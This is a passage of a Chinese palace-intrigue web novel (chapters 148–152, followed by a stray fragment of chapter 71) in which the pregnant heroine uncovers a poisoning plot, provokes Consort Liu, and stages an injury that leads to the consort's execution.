温若初把鹅腿分给沈惊澜一个,随口道。 “你不饿?鹅腿分你一个,快吃,一会儿凉了就不好吃了。” 沈惊澜侧目看向温若初。 “你怎么知道那盘雪花酥里有毒?” 温若初便把在御乾宫门口,凑巧撞见绘春和传菜小宫女鬼鬼祟祟拉扯的事讲给沈惊澜。 沈惊澜听后依旧一脸不解,有些失望,眉心反而蹙得更深了。 “你确定雪花酥里的毒是柳妃下的?” 第148章 装疯卖傻 温若初眸色顿了一下,放下筷子。 看来沈惊澜也认为柳妃是提前得了消息,装疯卖傻躲过一劫。 柳妃一直怀疑沈飞白是沈惊澜弄死的,柳妃有足够的动机对沈惊澜动手。 绘春是柳妃心腹,人赃俱获,乍看之下没什么疑问。 当时老皇帝的反应不对劲,好像知道有人下毒,又有些意外,当李公公查出绘春的时候,虽然只是一瞬间的放松,但当时温若初还是捕捉到了老皇帝的情绪变化。 凡事无绝对,绘春已经被杖杀,就算今天这出下毒有老皇帝手笔,也是死无对证。 老皇帝对柳妃顾念旧情,御乾宫下毒,估计到最后调查出的结果就是绘春心怀怨怼,行刺沈惊澜不成,被杖杀,这么一个糊涂结果。 “陛下说是绘春下的,就是绘春下的毒。” 温若初放下筷子,嘴角含着淡淡笑意,纤细白皙的手搭在沈惊澜的手背上,定定地看着沈惊澜,轻声安抚道。 “咱们已经走到这了,寒妃的仇,还有你儿时受到的委屈,早晚都是要讨回来的,别想那么多。” 她知道,今日在御乾宫沈惊澜看到蛐蛐啃食雪花酥死的那刻,沈惊澜对老皇帝是起了杀心的。 她没劝沈惊澜放下仇恨,未经他人苦,劝人家善良,那是站在道德制高点上耍流氓。 沈惊澜情绪有些反常,他可能更希望是老皇帝下的毒。 沈惊澜对老皇帝的恨,深入骨髓,名为血缘亲情的刀子反复割在身上,时间长了,成了茧子,越积越厚,就会形成一道肉盾。 直接起兵造反杀进皇宫固然痛快,可若是那样雍国必定战乱四起,百姓流离失所,沈惊澜将成为百姓以及文人墨客口诛笔伐的千古罪人。 打仗打的就是人命,就算平定了战乱,最后登上皇位,也要被世人诟病皇位得来不正。 毙敌一千自损八百的法子是下策。 书中沈惊澜弑兄杀父,铁血手腕荡平雍国四分五裂局面只用了几个月时间,折损了几十万人性命,妥妥暴君。 书中末尾写道,沈惊澜登基之后,积郁成疾,没多久暴毙死了,百姓拍手称快。 范飞叶是书中沈惊澜的皇后,未得一儿半女,过继了沈星驰的大儿子沈桓,沈桓十三岁登基。 沈惊澜在史书上留下嗜血暴君的骂名,淡化他结束雍国四分五裂的功绩。 兜兜转转又回到了起点,好像沈惊澜只是报了一个仇,幸苦经营下来的大好江山,让给仇人之子。 有些不值。 如果可以,温若初希望沈惊澜能活得长久一些。 沈惊澜沉默好长时间,墨长睫毛下耷,也掩饰不住眼底痛苦挣扎复杂情绪。 温若初抓着沈惊澜的手,贴在自己隆起的肚皮上。 “他们又闹腾了,你陪我去院子里转转吧。” 也是巧了,沈惊澜大手贴上肚皮的时候,赶上胎动,肚子里的小东西翻跟头踢了她好几脚。 沈惊澜眼底的痛苦和挣扎,一下子就软了下来,手感受着肚子里小家伙的动静,嘴角不自觉地微微上扬,眼神中满是温柔与期待。 他轻轻抚摸着温若初的肚子。 “不可以闹腾娘亲!胆敢不听,等你们出来,家法处置!” 温若初:“……” 她还以为沈惊澜要说两句软话,动不动就家法,谁还敢出来。 拍掉沈惊澜的手,“别吓唬他们,万一被你吓得不出来,变成两个哪吒怎么办?” 沈惊澜拧了拧眉心,认真思考半天,一脸求知地看向温若初。 “哪吒是谁?” 差点忘了,这是书中世界,没有关于哪吒的设定。 温若初开启讲故事模式,给沈惊澜科普哪吒。 “从前,在浩瀚的东海边,有一座小镇叫陈塘关……” 讲完哪吒讲封神,讲完封神讲孙悟空,口干舌燥说了半宿,终于把沈惊澜哄好了。 隔天一大早李公公来传信,和温若初分析的一样。 在雪花酥里下毒的是绘春,给的理由除了忠于柳妃外,还添加了一个八卦狗血的。 他们说绘春对沈飞白有爱慕之情,认为沈惊澜杀了沈飞白,故此对沈惊澜怀恨在心。 而柳妃患了失心之症,疯癫不能自理,不会指使绘春行刺沈惊澜。 投毒是绘春个人行为。 李公公走的时候,温若初又给了两片金叶子。 “幸苦公公特意跑一趟。” “王妃客气了,都是咱家的本分,咱家干的就是跑腿的活。” 李公公乐呵呵收下金叶子,犹豫一瞬,像是有什么话单独和温若初说。 打发跟着他一起来的小太监出去等。 温若初也屏退了左右。 李公公道:“绘春死了,陛下调了几个宫女去翠云居伺候。” 温若初眸色顿了一下,很快反应改过来,皇后可能不知晓此事。 除夕宴上柳妃的那两句恶毒诅咒,她还记着呢。 不管柳妃是真疯还是装疯,她是记仇的人,怎会让柳妃过安生日子? 温若初面上不显异色。 “多谢公公。” 李公公走之前,温若初又给了李公公两片金叶子。 皇后和柳妃斗了二十几年,好不容易柳家倒了,柳妃失去利用价值。皇后若是知道老皇帝还对柳妃旧情不忘,怕是要炸毛了。 沈惊澜去兵部上值去了。 温若初以请安名义进宫,多带了两罐茶叶,见完老皇帝,径直去翊坤宫拜见皇后。 皇后收下茶叶,面上带笑。 “大虞女皇倒是心疼你,隔着千山万水派人给你送来两罐茶叶,这可是稀罕物,老九媳妇有心了。” 温若初:“就是因为稀罕,所以特意拿来孝敬皇后娘娘。” “你这孩子还真是懂事。”皇后笑得更开心了,拉着温若初的手。 “本宫是老九的嫡母,整日皇后娘娘皇后娘娘的,多生分啊,日后你和老九,和星驰他们一样,叫本宫母后,等太子亲政了,还要你们多多帮衬着,本宫可一直都把老九当成自己孩子。” 温若初跟着笑了两声,睁着眼睛说瞎话。 “太子殿下文韬武略,胸怀大志,太子殿下定能延续陛下遗风,雍国社稷稳定,百姓安康。” 一番夸赞沈星驰的话,皇后很是受用,笑了好几声。 “哈哈哈” 皇后眼角眉梢都带着笑意,看着温若初,越看越欢喜。 大虞女皇怎么就把她宝贝侄孙女赐婚给沈惊澜了呢,赐婚给太子做侧妃多好。 若是有温若初在太子身边,就算有十个柳家,她也不用担心了。 到时候再为太子怀一对双生子…… “母后?”温若初的轻声呼唤,打断皇后美好不切实际的幻想。 “啊?怎么了?” 皇后回神看她。 温若初扯了扯嘴角,“儿臣听说御花园的海棠花开得正艳,在大虞上京的时候就常听人提起,都城皇宫有重瓣粉色海棠,是当年父皇为您亲自栽种的,一直未得见,母后可否带儿臣去开开眼?” 皇后四五十岁,面上竟浮现一抹少女才有的娇羞。 “海棠确实是陛下刚登基那会为本宫栽种的,都快三十年前的事了,传了这么远,你在大虞都知道了?” “父皇和母后情比金坚,感情深厚,传为一段佳话,大虞百姓人人传颂,新婚妇人尤其羡慕陛下对娘娘的感情,儿臣自然也是知晓的。” 温若初前段日子和秋菊月儿他们闲聊才听说的,当年老皇帝登基册立皇后的时候,亲手栽种两排海棠,许诺只爱皇后一人。 这么多年,皇后一直把那两排海棠树当成宝贝似的,去年有个小太监不小心碰折了一个树枝,被皇后打折了一条腿。 柳妃的翠云居就在那两排海棠树不远,老皇帝对外旨意,让柳妃自生自灭。 一会儿若是两人凑巧见面,可就有的热闹了。 皇后嘴角就没压下来过,被温若初哄得心花怒放的。 “好好好,本宫带你去瞧瞧。” 第149章 情敌见面分外眼红 老皇帝年轻的时候和皇后的感情的确很好,两排海棠树种在御花园最好的位置,阳光充足,为观赏海棠还在一侧搭建了观赏的廊桥。 海棠树枝繁叶茂,宛如一把把撑开的巨伞,相互交织、依偎。每一根枝丫都被繁花压弯了腰,沉甸甸地垂坠着。微风拂过,海棠花瓣纷纷扬扬地飘落,似一场粉色的雪,在空中翩翩起舞。 温若初落后半个身位,听皇后饶有兴致地讲述当年她和老皇帝的事。 “你也算是来巧了,每年的这个时候这些海棠刚刚打花苞,今年都开了,你看,开得多好啊。” 温若初刚来都城的时候被皇后的贴身宫女采莲引着和沈惊澜一起游过皇宫,对御花园不算全然陌生,听皇后念叨她的恋爱经历,欣赏海棠花的同时,也在留意前方不远处柳妃的翠云居。 在这一片海棠树林末尾处,露出一角飞檐,红墙绿瓦的宫殿就是柳妃翠云居后院。 温若初顺着皇后的话茬道。 “都说这花是能听懂人的心思的,往年可能是受寒气影响,收敛着,影响着它绽开,今年寒气被暖风吹走了,花期自然回到从前了。” 皇后似乎想到了什么,脸上笑意僵硬,下意识朝翠云居方向望了一眼,眼底掩饰不住的恨意和厌恶,阴阳怪气道。 “什么寒气?不过是微不足道歪风罢了,说她是寒气,都往算是给她贴金了。” 皇后不紧不慢地往前走着,温若初跟在皇后身后,顺着皇后的视线看过去,意有所指道。 “儿臣小时候在外祖姑母膝下长大,外祖姑母政务繁忙顾不上儿臣,儿臣常在御书房玩,没人在的时候御书房也时常起歪风,陪儿臣玩耍的嬷嬷就让人把门窗打开,还说家里进了歪风,只有把门打开,让歪风自己刮出去,才能彻底解决,不然……说不定哪天这风就又起来了。” 皇后脚步微顿,若有所思,不念叨她和老皇帝年轻时那点甜蜜了。 温若初也不说话,静静跟在皇后身后,走尽海棠林皇后没有折返的意思,隐隐能听见翠云居内说话声。 绘春死了,老皇帝旨意让柳妃自生自灭,明着没给柳妃拨伺候的宫女太监。翠云居后院传出来的有说有笑的声音,明显不是一个人。 皇后脸色当即黑如锅底,带着一身怒气,脚下生风绕到翠云居正门,瞅了一眼随侍宫女采莲。 采莲点了一下头,叫来两个太监,也不敲门,抬脚直接踹翠云居大门。 或许是方便进出,也或许是伺候柳妃的宫女太监偷懒,翠云居的大门没落锁,只是虚掩着。 皇后的两个太监合力踹门,没费多少力气,大门便“咣当”一声,大敞开了。 “他妈谁啊,知不知道这是什么地儿……” 一个小太监骂骂咧咧从翠云居走了出来,一句话没骂完,看到这边板着脸,冲过来的皇后。 小太监一下子就慌了,扑通一声跪地。 “奴才叩见皇后娘娘,皇后娘娘千岁千岁千千岁!” “大胆狗奴才,柳妃呢?” 听到这边动静,屋里出来五六个宫女,三四个小太监,纷纷跪地。 皇后抬脚进屋,一身怒气,插在发髻上的金步摇甩得飞起。 翠云居内干净整洁,摆设物件精美奢华,柳妃坐在床头,眼神呆滞抱着枕头,嘴里哼唱摇篮曲,她鬓发整齐,衣着光鲜,和之前勾搭老皇帝的时候没什么两样。 柳妃的日子过得不错。 皇后愤愤地瞪了柳妃好几眼。 “柳妃陛下让你自生自灭,你居然敢私自让人来伺候,你可知罪?” 柳妃低头抱着枕头,连眼神都没给皇后一个。 皇后又道:“柳妃,本宫在和你说话!” 采莲上前一把夺下柳妃怀里枕头,“皇后娘娘在和你说话!” 柳妃疯了一般,起身抢夺被采莲抽走的枕头。 “孩子,孩子,我的孩子,是你杀了我的孩子,哈哈哈,忒!” 一口痰吐在采莲脸上,枕头也被柳妃抢了回去。 皇后嫌弃地直拧眉,一个疯婆子问不出什么,目光转向院子里跪的太监宫女。 “你们怎么回事?” 太监宫女你看看我,我看看你,一个个不敢知声,老皇帝对他们下的密旨,说出去是要杀头的。 皇后气急了,“来人啊,把这几个蔑视陛下,欺君罔上的狗奴才拉出去杖毙!” 话音落,立即有胆子小的太监屁滚尿流跪爬出来,带着哭腔求饶,框框磕头。 “皇后娘娘饶命,是陛下……是陛下命我等来翠云居伺候柳妃娘娘。” 皇后脸色煞白,愣在原地,柳家覆灭之后,柳妃患了失心之症,陛下一次都没去过翠云居。 陛下说过,当年召柳妃进宫,是为了利用柳家势力平定西北叛乱,劝她大度,她忍下了。 后来又有了刘家张家李家的崛起,陛下为了制衡,召这些世家女儿入宫,她也忍下了。 旁人还好,只这个柳妃是个拎不清的,愈发不把她这个皇后放在眼里。 她为了雍国社稷稳定,为了陛下不为难,又忍下了。 如今柳家都没了,陛下这是在干嘛? 说过心里只她一人的。 她忍受了这么多年的委屈算什么? 皇后脚步踉跄,温若初抬手扶住皇后胳膊。 “母后息怒,当心身子,也许这里面有什么误会?” 采莲厉声呵斥小太监。 “住口!陛下让柳妃自生自灭,怎么可能让你们来伺候?” “奴才不敢欺瞒娘娘,确实是陛下吩咐奴才们几个伺候柳妃,娘娘可得保奴才们的小命啊,娘娘。” 其余几个太监宫女纷纷点头称是,求饶命。 皇后恢复了些神志,这些奴才断不敢撒谎,她倒是要去问问陛下,到底是什么意思? 抬腿就往外走。 采莲命人把翠云居的太监宫女都带走,赶紧跟上皇后。 呼呼啦啦一群人都走了,翠云居院子里方才还鸡飞狗跳,这会一下子安静下来。 留下温若初和丫鬟黄兰在院子里。 温若初吃瓜吃得有些意犹未尽,回头瞅了一眼屋内,正要抬步出去,却听见屋里人说道。 “跟着皇后那个老女人做事,不会得好下场。” 温若初脚步顿住,回头看向柳妃。 柳妃不知道什么时候走了出来,抱着枕头坐在门口台阶上。 吐字清楚,逻辑清晰,哪里有半点疯癫样子。 果然是提前得了消息,故意装疯卖傻。 “你果然是装的,父皇下令动柳家的那天,谁给你传的消息?” 柳妃轻哼一声,没接她的话茬,明显想隐瞒传递消息之人,她瞄了一眼温若初隆起小腹。 “快临盆了吧?还是顾好你自己吧,除夕宴那日,我说的是真的……” 她看着温若初的眼睛,一字一顿道。 “你肚子里的孩子,活不了。” 第150章 假疯变真疯 那日沈烁说她肚子里怀的是妹妹,妹妹能活,温若初就已经猜到这里有问题,后来再问沈烁的时候,被太子妃萧蔷打断了。 心里清楚是一回事,听旁人说出口就是另一回事。 天底下任何一个母亲都不希望自己的孩子出事,别人说也不行。 她倒是想知道是谁在手脚?她也好提前应付一二。 怒意涌上心头,温若初紧了紧拳头,压抑着怒火,耐着性子套柳妃的话。 “你怎么就认为我的孩子……活不了?” 柳妃道:“沈星驰坐稳江山前,不会有别的皇孙平安长大。” 柳妃怅然地看向前方某一处,缓缓开口。 “陛下的前半生走得太顺,从太子到登基做皇帝,一路有肱股之臣扶持,后来七王叛乱,烽烟四起,扶着陛下的老臣没了,陛下就想到了世家。” “为笼络世家,让世家这人去卖命对付叛乱的七位王爷,就纳了我们这些世家女为妃。” “等战事稳定下来,世家女生儿育女,陛下又发现世家势力过大,可被世家培养起来的皇子们都长大了,陛下又想压住世家崛起,该怎么办呢?” 柳妃平静地引导着温若初,“后宫近十年都没新添皇子了,那些成年皇子们也没有能延续香火。” 不止是皇子妃们的孩子活不了,那些母族势弱的宫妃们同样怀不上孩子,侥幸怀上了也生不下来。 这话柳妃没和温若初说,给她暗中传消息的人,告诉她柳家遭难,装疯卖傻可以躲过去,作为交换条件,让她提醒温若初保住孩子,这些话也是那个人教她说的。 宫闱里的事,她没必要和温若初说。 温若初肚子里怀的是沈惊澜的孩子,沈惊澜杀了她的孩子,她恨透了沈惊澜,连带恨温若初肚子里的孩子。 话是带到了,能不能保得住这胎是温若初的事,和她无关。 她正愁怎么带话给温若初,没想到温若初就来了。 柳妃说话说一半留一半,温若初也猜到了七七八八。 那天沈烁童言无忌冒出那么一句话,温若初还以为是皇后和太子妃动的手脚,不让这些皇子们有自己的下一代,用来巩固沈星驰地位。 毕竟能接触到这些皇子皇子妃,并且有机会下手的,这些年还一直没人查出什么端倪,能同时做到这些的,也就是皇后和太子妃。 柳妃话里话外的意思,温若初听明白了,背后推手是老皇帝。 老皇帝压着世家扩张势力,大致也看出了沈星驰的德行,他在给沈星驰铺路,为沈星驰登基之后做打算。 皇后和太子妃最多算是老皇帝的刽子手。 突然想到前几日柳妃宫女在雪花酥里下毒,欲毒死沈惊澜,当时绘春被擒,绘春承认是自己干的,老皇帝脸上一闪而过明显松了一口气的情绪转变。 老皇帝舍得让沈惊澜进兵部,让沈惊澜日后帮扶沈星驰。 老皇帝对沈惊澜应该已经卸下了戒备之心。 她和沈惊澜夫妻关系和顺,好得跟一个人似的,旁人都看在眼里,平常用膳的时候,沈惊澜经常帮她夹菜。 温若初有些细思极恐地想着,当时放在沈惊澜面前的那盘雪花酥,可能不止绘春动了手脚,里面的毒也可能不止一种。 孩子就是她的命,谁动了她的命,她就和谁拼命。 老不死的,你等着,先收拾了你最在乎的嫡长子,下一个就是你! 温若初手脚发凉,愣在原地。 柳妃指着她,忽然哈哈大笑起来。 “怕了吧?大虞公主也不过如此,受尽大虞女皇宠爱又如何,沾上了雍国这趟浑水,也难逃命运安排,生下孩子,就赶紧滚回大虞,哈哈哈。” 笑声得意,听起来尤其刺耳。 温若初心底翻涌起的滔滔恨意急需发泄口。 黄兰扶着她的胳膊,察觉到温若初身上的杀气,小声提醒。 “王妃,不可!” 这里是皇宫,柳妃疯癫了,妃位还在,刚才那么多人都瞧见了,是王妃最后走的,柳妃若是出了事,说不清楚。 温若初偏头和黄兰对视一眼,看到了黄兰眼底的担忧。 她还没蠢到在皇宫行凶伤人。 温若初稳了稳心神,她错开视线看向柳妃,嘴角露出讥讽笑意,遮掩心里的翻涌的怒火。 “这不是挺明白的,这些世家里柳家最强,您和六殿下安的什么心,我在大虞都听说了,陛下难道会不知?” “您自己好好想一想,真的是荣王和你们柳家过意不出,算计六殿下和柳正平?” “太子做过的脏事只比你们柳家多不会少,沈星驰和皇后的母族怎么没事……” 见柳妃听进去了,说到这里故意停顿一下,留给柳妃思考时间。 继续说道:“……怎么有事的就偏偏是柳家,荣王只不过起到了推波助澜作用,六殿下病得好好的,怎么突然死了,紧接着柳家出事,六殿下的命应该算在谁头上,你自己想一想。” 柳妃瞪大眼睛看着温若初,身体微微颤抖,怀里枕头滚落到台阶下,沾上了一大片泥水,眼神呆滞摇头,像是自己猜中了什么,又自我否定,抬手抓掉梳得整齐的头发。 “不可能,陛下说过飞白聪敏好学,是皇子们的楷模,怎么可能对飞白下手?飞白小时候那么可爱,怎么可能呢?” 第151章 沈惊澜想做皇帝 柳妃嘴里嘟嘟囔囔,反复重复一句话,发髻凌乱,眼神也是呆呆的。 堵在温若初胸口的气,顺畅了一些,她看着柳妃,这才是患上失心疯该有的样子。 温若初问过沈惊澜,沈飞白的病的确是沈惊澜动的手脚,沈飞白到底是雍国出使大虞使团正使,路上死了说不清楚,没下死手,只是人残了,若是好生照料,还能活十几年。 柳家人心不足,撺掇柳妃领养十三皇子,十三皇子母妃早逝,母族势弱,柳家暗中和十三皇子母族来往甚密。 老皇帝随便给十三皇子赐了一个幽王的封号,打发出了封地,断了柳家念想。 沈飞白那阵子病情急剧恶化,没几日就断了气。 后来柳家又要托举晚辈出来,自导自演了行刺事件。 老皇帝岂会继续容忍,一声令下,柳家烟消云灭,剩下柳妃独自在后宫残喘。 柳妃嘴里喃喃重复,“不可能,不可能……不对,陛下不可能杀飞白,就是沈惊澜,就是沈惊澜杀了六皇子……” 嘀咕了好一会儿,突然抬头看向温若初。 “沈惊澜……沈惊澜也想做皇帝对不对?哈哈……都想做皇帝……” 温若初脸色变了变,眼底杀意闪现,下意识朝门外瞅了一眼。黄兰更是比她还紧张,两步窜到门口,左右看了看,确定门外无人偷听才回来。 温若初站在原地,不管柳妃是真疯还是假疯,这人是决然留不得了。 不远处隐隐有脚步声传来,应该是皇后去质问老皇帝,又派人过来了。 柳妃不知道什么时候捡起了滚落在地上的枕头,抱在怀里,还在那嘟囔。 “沈惊澜想做皇帝……谁都想做皇帝……哈哈” 一个疯子的话不可信,老皇帝生性多疑,好不容易对沈惊澜卸下戒心,很有可能就因为柳妃的疯话,让他们之前的努力付之一炬。 黄兰也听到了由远及近的脚步声,低声道。 “奴婢这就去弄死她,奴婢把脸蒙上,绝对不会牵连到王爷和王妃。” 皇宫内院高手如云,大内侍卫不是吃素的,黄兰杀柳妃容易,逃出去不易,就算侥幸逃脱,温若初来的时候是带着丫鬟的,回去只剩下她自己。 她该做何解释。 “等等!” 温若初拽住黄兰,毫不犹豫地拔下发簪,咬紧牙关快速在手臂上划出两道血印子。 黄兰和温若初对视一眼,一下子懂了温若初的用意,眼底心疼,朝门外大喊。 “救命啊,柳妃娘娘要杀我家王妃!” 黄兰眼疾手快抢走柳妃怀里的枕头,扶起温若初,主仆二人踉踉跄跄,互相搀扶着往外跑。 经过门口,枕头往手边草丛里奋力一扔。 皇后带着随行的太监宫女,又带来了六七个禁军,雄赳赳气昂昂地来了,皇后身后还跟着总管太监李公公。 一看就是皇后去找老皇帝对峙,皇后占理,老皇帝不承认,皇后带着人来磋磨柳妃的。 温若初心里有了底。 见到皇后,就像是见到救世主一样,她一脸惊恐害怕朝皇后奔了过去。 “母后,救儿臣,儿臣不过是想让柳妃娘娘进屋别着凉了,柳妃娘娘就要掐死儿臣,幸亏黄兰在身边才侥幸逃脱,您瞧瞧柳妃把儿臣抓挠的。” 温若初鼻涕一把眼泪一把哭得委屈,撩起袖口,白皙纤细手臂上,两道明晃晃血印子。 皇后一身怒气,方才她去御乾宫问翠云居柳妃的事,陛下说从来没下过什么密旨去派人照顾柳妃。 是那几个小太监和宫女撒谎,那几个小太监和宫女在陛下面前也说了实话。 柳妃平常厚待他们,他们不忍心看柳妃独自一人吃苦遭罪,自己去伺候的。 和陛下无关,都是柳妃这个狐媚子的错,就知道柳妃是拎不清的,妄图想让她的孩子取代太子,到处邀买人心。 沈飞白死了,柳家都没了,剩下柳妃自己,没想到柳妃的那些狗腿子还忠心柳妃,居然敢抗旨去照顾柳妃。 陛下当时就把那几个太监和宫女打了,还让她来处置柳妃。 皇后对这个说法深信不疑。 之前她说惩处柳妃,陛下总是推三阻四,她还以为陛下对柳妃生了真情。 如今陛下松了口,不过问柳妃,后宫全权交给她,陛下心里还是在乎她的。 柳妃依着家世和她斗了二十几年,她不知道吃了多少委屈。 终于可以无所顾忌地磋磨柳妃了。 皇后急切想尽快料理了柳妃,也没细看温若初手臂上的伤口是怎么形成的,草草扫过去一眼,看上去就是抓挠的。 温若初刚给皇后看完手臂上抓伤,柳妃就冲了出来,头发散乱,眼神癫狂。 “孩子,我的孩子,你还我孩子!” “母后救儿臣!” 皇后正想收拾柳妃。“怕她作甚?” 温若初顺理成章躲到皇后身后,顺带抓了一把黄兰,让黄兰躲在自己身后。 方才是黄兰抢走了柳妃的枕头,也就是柳妃口中的孩子,柳妃是奔着黄兰来的。 外人看来,柳妃就是奔着温若初去的。 温若初又躲在皇后身后。 李公公和采莲挡在皇后身前,厉声呵斥。 “保护皇后。” 柳妃无所顾忌,张牙舞爪朝这边扑的样子,皇后也有点打怵了,尤其是刚才还看到了温若初手臂上的抓伤,若是抓挠在脸上,那还了得。 本想着细细磋磨柳妃,出了这些年积压在心里的怨气,眼下来看,还不如让她死了的消停。 “疯了,疯了,柳氏胆敢行刺本宫,来人啊,将柳氏就地诛杀!” 禁军挡在皇后身前,隔开扑过来的柳妃,碍于柳妃身份,不敢动粗,硬生生挨了柳妃好几巴掌。 皇后话音一落,禁军没了顾忌,抽出腰间雪亮长刀。 “噗嗤” 长刀刺入柳妃胸口,来了一个对穿,白刀子进红刀子出。 只一刀,柳妃便口吐鲜血,瘫软到底,没一会就失去了生息,死的不能再死了。 柳妃的眼睛瞪得很大,看向皇后这边,在皇后的角度看,柳妃死不瞑目,是在看她,眼神里带着不甘和恨意。 盯得皇后心里发毛,皇后有些嫌弃地瞥了一眼柳妃,错开视线,吩咐众人。 “真是晦气,赶紧收拾起来!” 温若初哆哆嗦嗦,一副吓坏了的样子。 皇后躲避害怕心虚的眼神,她看在眼里。 传言这位年近半百的皇后,信奉鬼魂和神灵。 皇后和老皇帝一样,绝对不是真心待她和沈惊澜,这点温若初心里门清,给她吃的温情糖,里面都是带着有利可图的算计和刀子的。 沈飞白死了,柳妃也死了,柳家覆灭,接下来就要全心对付沈星驰皇后还有老皇帝了。 她脑海中一道灵光闪过,柳妃的“鬼魂”,说不定可以拿来对付皇后。 第152章 关心则乱 荣王府 温若初坐在软椅里,袖子卷起,露出纤细手臂,白皙细腻皮肤上两道刺目的血印子,由着秋菊帮她处理两道不深不浅的“抓痕”。 前阵子温若初没事闲聊提起和沈惊澜刚认识那会,给沈惊澜天南海北搜罗几十种,有愈合伤口去除疤痕效果的金疮药。 沈惊澜心细如发,隔天就带回了孕妇可以使用的金疮药,放在她房间,还说以备不时之需。 她心里自嘲地笑了笑,还真用上了。 秋菊用干净帕子包成圆圆的一小包,沾着金疮药,涂抹上她手臂上,生怕弄疼她似的,动作很轻。 秋菊眼眶微红,“公主从小到大在圣人眼皮子底下养着,什么时候遭过这种罪?” 月儿站在一边伺候茶水,也是一脸的心疼,抽抽搭搭。 黄兰面上满是愧疚,“都怪我!” “是我自己划伤的,怎么能怪你?”温若初赶紧纠正黄兰。 黄兰原是天机阁得力干将,是沈惊澜把黄兰调到她身边,保护温若初的,严格来说不是她的丫鬟。 和秋菊月儿她们不一样,隔着一层,黄兰能在关键时刻,不顾自己退路保她,她已经很感激了。 她抬了抬胳膊,“就受了点皮外伤,连皮都没破,别往自己身上揽责任。” 主仆几人说着话,外院的丫鬟隔着门板传话。 “启禀王妃,王爷回来了。” 话音刚落,门板被推开,沈惊澜急匆匆大步走了进来,垂眼看到温若初手臂上的红痕,墨黑深邃的眸子里掩饰不住的心疼,独属于他身上的骇人戾气,又从毛孔里丝丝缕缕地泄出来,周围三丈之内气温骤降。 黄兰一下子就跪下了。 “属下没保护好王妃,属下有错,请阁主责罚。” 温若初怕沈惊澜真的责罚黄兰,赶紧握住的他手解释。 “是我自己划的,和黄兰无关,连皮都没破。” 和沈惊澜说话的时候,连连给黄兰使眼色,意欲让黄兰出去。 黄兰明白温若初的意思,她是天机阁的人,阁主给她的任务是保护王妃,王妃受伤,不管什么原因,都是她的失误。 失误了,就要受到惩罚,这是天机阁规矩。 黄兰没得阁主命令,她不敢动。 沈惊澜注意到主仆二人眉来眼去,手指被温若初祈求似的晃了晃,心底一软。 “起来吧。” “谢阁主。”黄兰起身,感激地瞅了一眼温若初。 温若初借口肚子饿了想吃东西,让黄兰出去了。 黄兰走出门口,和原本跟在沈惊澜身后的古叔打了一个照面。 沈惊澜听了温若初受伤的消息,心里急切,带古叔回来给温若初瞧伤,大长腿,三步并做两步,又骑着快马,古叔年岁大了,腿脚不利索,跟不上沈惊澜。 就这样,沈惊澜远远地把大夫甩在身后。 古叔扶着门框呼哧带喘。 沈惊澜抬头催促,“古叔,你快过来看看小初的伤。” 温若初都有点心疼古叔一把年纪被沈惊澜折腾,秋菊已经给她涂抹了一层金疮药,她现在丝毫感觉不到疼。 想说真的没什么事,古叔已经过来了。 古叔到底是经验丰富的大夫,搭眼一瞧就看出来不是抓伤,也不严重。 古叔没好脸色地瞅了一眼沈惊澜,故意拧眉叹了一口气。 “幸亏回来得快!” 一个大夫的嘴里说出这种话,可不是什么好话,温若初愣了愣,莫不是她的伤口有什么问题。 有一些毒药初期不会呈现出什么症状,一旦发作必死无疑。 难道她的伤口感染中毒了,只是她没发现? 她不会要死了吧? 温若初的心都提了起来,瞪大眼睛看着古叔,等着古叔接来的话。 沈惊澜本就紧张温若初的伤势,听古叔话音落地,他更紧张了,连呼吸都有些发紧。 古叔顶着一屋子人紧张期待又忐忑的眼神,不紧不慢到了一盏茶水喝下,喘匀乎胸口那股气。 沈惊澜急道:“古叔,小初的伤到底怎么样了?” 古叔淡淡扫了沈惊澜一眼,“幸亏阁主回来得快啊,再稍微慢点回来,伤口就结疤了。” 温若初:“……” 沈惊澜:“……” 众人:“……” 温若初尴尬地扯了扯嘴角,“古叔,你说话能不能不要大喘气,快被你吓死了。” 古叔放下茶盏,带着几分怨气道。 “我这把老骨头,都快被折腾散架了。” 沈惊澜眼底忧心逐渐退去,坐到温若初身边空位,歉意地瞅了古叔一眼。 “地窖里的杏花酒封存快一年了,正是味道淳厚,走的时候带一坛回去。” 说的是他们之前住的院子地窖里,封存着一百多坛酒,都是果子酒,温若初平常爱喝的。 温若初怀着身孕,不宜饮酒,沈惊澜怕温若初嘴馋,一直没告诉温若初。 酒是古叔存进去的,前两日古叔向他讨要杏花酒,他没给。 古叔脸上有了笑模样,他一直馋地窖里那坛杏花酒,终于有机会得到了。 “谢阁主。” 古叔走之前温若初又让古叔帮她诊了一下脉。 柳妃危言耸听,吓唬她,说她肚子里的孩子活不成。 温若初自信有能力保护自己和孩子,可能是快到临盆的日子,有些紧张,这种话听在耳朵里不舒服。 想凡事都求个稳当。 乳娘,稳婆,连临盆那日烧开水的丫鬟都是她精挑细选的。 古叔说胎相平稳,温若初才稍稍安下心。 古叔走后,沈惊澜屏退左右,从怀里掏出一张庚帖递给温若初。 “什么?”温若初随口问。 沈惊澜阴沉着脸,“守正派人递到兵部的拜帖,要宴请你我二人。”顿了顿,控诉似的问温若初,“他怎么还不走?” 凌玄礼原定上元节过后就返回大虞,后来又说冬春交替,气候无常,容易得病,等天气转暖了再走,拖拖拉拉一直拖到现在。 人家不走,温若初也不能去撵人家走啊。 她心里叹了一口气,沈惊澜这是又在吃飞醋。 凌玄礼的拜帖都递到兵部了,又没和她偷偷摸摸见面,沈惊澜还想怎样? 她确定,凌玄礼对她没别的意思,就是沈惊澜疑神疑鬼。 “也许是凌大人要回大虞了,走之前想宴请咱们。” 温若初突然想起,柳妃死之前和她说过,让她保护好孩子,生下孩子之后滚回大虞…… 仔细回想柳妃说过的话,有点不对劲。 柳妃假疯变真疯,是因为她说老皇帝杀了沈飞白,灭了柳家,柳妃受刺激而疯癫,显然幻想老皇帝对他们母子心存恋爱,不相信老皇帝是幕后主使。 柳妃说的老皇帝和都城各大世家之间的博弈,说得头头是道…… 简直是前言不搭后语,不像一个人说的话。 就好像之前那番对局势分析是旁人教她的。 还有之前柳家出事,柳妃前一天突然发疯躲过一劫,也很可疑。 温若初料定暗处还躲着一个人,藏头露尾的,也不知是敌是友。 只可惜柳妃死了,无从查证。 沈惊澜见她愣神,庚帖在她眼前晃了晃。 “去吗?” 第71章 郡主和阁主一起听墙角 温若初抬腿迈进暗室,暗室狭窄逼仄,光线昏暗。 只隐约看见一个身材修长挺拔的身影,来不及做出任何反应,身后卷起一阵细微冷风,紧接着整个人便被按到墙上,胳膊反拧在身后,像是要硬生生掰断了似的。 “嘶——” 